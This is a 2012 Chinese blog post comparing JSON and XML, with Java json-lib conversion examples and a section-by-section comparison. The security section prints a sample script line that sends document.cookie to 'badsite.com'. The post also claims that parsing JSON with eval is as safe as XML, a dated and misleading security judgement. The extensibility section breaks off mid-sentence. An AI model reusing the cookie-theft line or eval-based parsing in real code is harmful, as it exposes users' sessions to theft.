2012-08-04
前言
曾几何时,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有很多人开始抛弃XML,在他们的心目中,JSON已经完全取代了XML的位置。JSON有很多优势,但也存在缺点,而XML虽然确实存在不少问题,但孰优孰劣,并不是可以依据个人喜好就轻易得出结论的。
JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是因为这样,twitter已经声称他们的流媒体API将不再支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因为他们计划下一代接口只支持JSON。
注* 在进行编码前还需要 commons-beanutils-1.7.0.jar 、 commons-lang-2.5.jar 、commons-logging-1.0.4.jar 、 ezmorph-1.0.6.jar 、 json-lib-1.1-jdk15.jar
morph-1.1.1.jar
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import net.sf.json.JSONArray;
import net.sf.json.JSONObject;
import com.ch.entity.JSONTestBean;
import com.ch.entity.Props;
/**
* Java对象转换为Json对象
* @author CHH
* @since 2012-08-04
*/
public class TestJson {
public static void main(String[] args) {
TestJson j = new TestJson();
j.ObjectList2json();
}
/**
* List对象转换为Json
*/
public void ObjectList2json() {
Map map = new HashMap();
List jlist = new ArrayList();
//JSONTestBean类的构造方法
JSONTestBean bean1 = new JSONTestBean("zhangbo", "123123");
JSONTestBean bean2 = new JSONTestBean("lisi", "65489");
//Props类的构造方法
Props props = new Props("127.0.0.1", "8008");
jlist.add(bean1);
jlist.add(bean2);
map.put("Props", props);
map.put("jsonObjectList", jlist);
JSONArray jsonArray = JSONArray.fromObject(map);
System.out.println(jsonArray);
}
/**
* 布尔数组转换为Json
*/
public void arr2json() {
boolean[] boolArray = new boolean[] { true, false, true };
JSONArray jsonArray = JSONArray.fromObject(boolArray);
System.out.println(jsonArray);
// prints [true,false,true]
}
/**
* List转换为Json
*/
public void list2json() {
List list = new ArrayList();
list.add("first");
list.add("second");
JSONArray jsonArray = JSONArray.fromObject(list);
System.out.println(jsonArray);
// prints ["first","second"]
}
/**
* 创建Json格式的数据
*/
public void createJson() {
JSONArray jsonArray = JSONArray.fromObject("['json','is','easy']");
System.out.println(jsonArray);
// prints ["json","is","easy"]
}
/**
* Map转换为Json
*/
public void map2json() {
Map map = new HashMap();
map.put("name", "json");
map.put("bool", Boolean.TRUE);
map.put("int", new Integer(1));
map.put("arr", new String[] { "a", "b" });
map.put("func", "function(i){ return this.arr[i]; }");
JSONObject json = JSONObject.fromObject(map);
System.out.println(json);
// prints
// ["name":"json","bool":true,"int":1,"arr":["a","b"],"func":function(i){
// return this.arr[i]; }]
}
/**
* 类对象转换为Json
*/
public void bean2json() {
JSONObject jsonObject = JSONObject.fromObject(new JSONTestBean(
"zhangbo", "234234"));
System.out.println(jsonObject);
/*
* prints {"func1":function(i){ return this.options[i];
* },"pojoId":1,"name":"json","func2":function(i){ return
* this.options[i]; }}
*/
}
/**
* Json转换为类对象
*/
public void json2bean() {
String json = "{name=\"json2\",func1:true,pojoId:1,func2:function(a){ return a; },options:['1','2']}";
// JSONObject jb = JSONObject.fromString(json);
// JSONObject.toBean(jb, MyBean.class);
System.out.println(json);
}
}
其他两个实体类:
View JSONTestBean
1 /**
2 * 实体类一
3 *
4 * @author CHH
5 * @since 2012-08-04
6 */
7 public class JSONTestBean {
8
9 private String userName;
10 private String password;
11
12 public JSONTestBean() {
13
14 }
15
16 public JSONTestBean(String username, String password) {
17 this.userName = username;
18 this.password = password;
19 }
20
21 public String getPassword() {
22 return password;
23 }
24
25 public void setPassword(String password) {
26 this.password = password;
27 }
28
29 public String getUserName() {
30 return userName;
31 }
32
33 public void setUserName(String userName) {
34 this.userName = userName;
35 }
36 }
View Props
/**
*
* @author CHH
* @since 2012-08-04
*/
public class Props {
private String ip;
private String port;
public Props() {
}
public Props(String ip, String port) {
this.ip = ip;
this.port = port;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public String getPort() {
return port;
}
public void setPort(String port) {
this.port = port;
}
}
CHH博客将从下面几个方面来客观比较一下两者
- 1. 可读性
- 2. 是否易于在服务端创建数据
- 3. 是否易于在客户端处理数据
- 4. 扩展性
- 5. 调试和故障排除
- 6. 安全
可读性
两者都具备很好的可读性,但从实际应用出发,个人还是觉得XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系还是相对比较困难的;而且现在很多的IDE工具都可以把XML格式化成易读的结构形式,看起来相当舒服,而json则不然。在这一方面我投XML一票。
是否易于在服务端创建数据
XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4j、jdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。
是否易于在客户端处理数据
在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,我毫不犹豫地选择json。
扩展性
可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。
毫无疑问,XML是可扩展的,但它的扩展是有局限的,因为如果你要适应扩展的话,那么你的客户端代码不得不作出相应的改动,如以下的客户端解析代码
var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
var firstNameEl = elements[0];
var lastNameEl = firstNameEl.nextSibling;
如果你在响应xml中
调试和故障排除
这方面需要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。
使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。
在客户端,要从两者中找到错误都是比较困难的。对于XML,浏览器是完全无法将xml格式化成responseXML;如果对于数据量较少的json数据,还可以通过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了,否则也只能坐以待毙了。
安全性
有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用eval可以使这些代码执行,而这些代码可能会存在安全隐患。如以下的代码:
window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;
person : {
"firstName" : "Subbu",
"lastName" : "Allamaraju"
}
上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全的。
我的结论
面向数据的应用,个人比较喜欢使用json,因为它简单和易于在客户端进行处理,或者xml在服务器是无与伦比的,但json在客户端的优势也是很明显的。
另外,json官方也有一篇专门比较两者的文章,大家可以参考一下:《JSON: The Fat-Free Alternative to XML》